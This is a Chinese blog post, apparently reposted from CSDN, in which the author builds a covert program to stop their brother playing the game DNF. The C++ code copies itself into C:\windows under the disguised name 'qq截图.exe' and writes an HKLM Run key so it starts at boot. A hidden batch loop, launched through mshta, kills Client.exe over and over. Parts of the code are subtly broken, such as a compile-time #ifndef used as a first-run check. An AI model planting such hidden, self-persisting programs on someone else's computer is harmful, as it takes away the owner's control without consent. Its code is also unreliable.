杂记--帮我哥戒网瘾的恶意程序

前记

每次回去,都能看见我哥在玩08年的DNF,20来岁的人了,沉迷游戏无法自拔,我想让他做点有意义的事,怎么办呢。直接把游戏卸载了?或是把角色全删了?不行,我估计会被他200斤的重拳锤死。这时候就需要我们程序员的聪明才智了。

实现原理

我先试了下打开DNF,发现会先启动一个Client.exe的启动程序。灵光一闪。
1–我可以写个程序,监听Client.exe启动,如果启动了就给他关闭。
2–当然这样只会执行一次,下次开机就无法使用了。所以我还需要修改注册表,把程序放入run里面,这样开机自动启动程序。
3–当然还有个问题,我程序放在那里呢,如果放在桌面或者简单的位置,他发现了,删除了怎么办?所以我们还要将程序移动到某个隐藏的位置。
所以,步骤2,3我们可以调用window api实现,步骤1可以通过一个bat批处理脚本实现。
(回家时间有限,写得比较简单,也不能通过杀毒软件,当然我能接触他的电脑是不用担心的)

0x1 步骤3的移动程序

获得执行程序的当前路径。

DWORD WINAPI GetModuleFileName(
    _In_opt_  HMODULE hModule, // 为空返回应用程序全路径
    _Out_     LPTSTR lpFilename, //输出缓冲区
    _In_      DWORD nSize      //缓冲区大小
);

再调用 dos命令 move 进行移动。

0x2 步骤2的修改注册表

打开注册表

LONG RegOpenKey( HKEY hKey, // 要打开键的句柄
LPCTSTR lpSubKey, // 要打开子键的名字的地址
PHKEY phkResult // 要打开键的句柄的地址);

修改注册表

LONG RegSetValueEx(
    HKEY hKey,//一个已打开项的句柄
    LPCTSTR lpValueName,//指向一个字符串的指针,该字符串包含了欲设置值的名称。
    DWORD Reserved,//填0
    DWORD dwType,//指定将被存储的数据类型
    CONST BYTE *lpData,//指向一个缓冲区,该缓冲区包含了欲为指定值名称存储的数据。
    DWORD cbData//指定由lpData参数所指向的数据的大小,单位是字节。
);

0x3 监听游戏启动

原理:一个批处理无限循环,用ping命令进行延时处理,然后获取当前系统的进程写入1.text文件中。查询1.text文件中是否有Client.exe进程,有则杀死这个进程,否者继续循环。

cpp代码

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h> 
int main()
{
	#ifndef  x//如果该程序第一次执行,先移动和进行注册表修改
	#define  x 
    char path[256];
    char path2[256]="C:\\windows";//移动目的地
    char path3[256];
	int ret;
	char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //开机启动路径
    HKEY hkResult; 
    GetModuleFileName(0,path,256); //获得自身路径 
    sprintf(path3,"move %s %s",path,path2);//移动命令
    system(path3);//移动
    ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);//打开注册表
	ret=RegSetValueEx(hkResult,"zdt",0,REG_EXPAND_SZ,(unsigned char *) "C:\\windows\\qq截图.exe",40);//修改注册表 
    if(ret==0){ 
    printf("success to write run key\n"); 
    RegCloseKey(hkResult); 
} 
    else { 
    printf("failed to open regedit.%d\n",ret); 
         }
    #endif
	//system("shutdown -g -t  30");
     system("111.bat");//执行循环查找游戏
	return 0;        
}

bat代码

关闭输出
隐藏窗口
ping 命令等待一段时间
tasklist重定向到1.text
find 查找Client进程
分支判断是否启动
启动则杀死进程

@echo off  
if "%1" == "h" goto begin   
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit   
:begin 


:loop
ping 127.0.0.1 -n 6 >nul  
tasklist /nh>.\1.txt 
find /i "Client.exe" .\1.txt
if ERRORLEVEL 1 (goto :loop) else (goto :go1)
:go1
taskkill /f /IM Client.exe
goto :loop

猜你喜欢

转载自blog.csdn.net/qq_35651984/article/details/84205619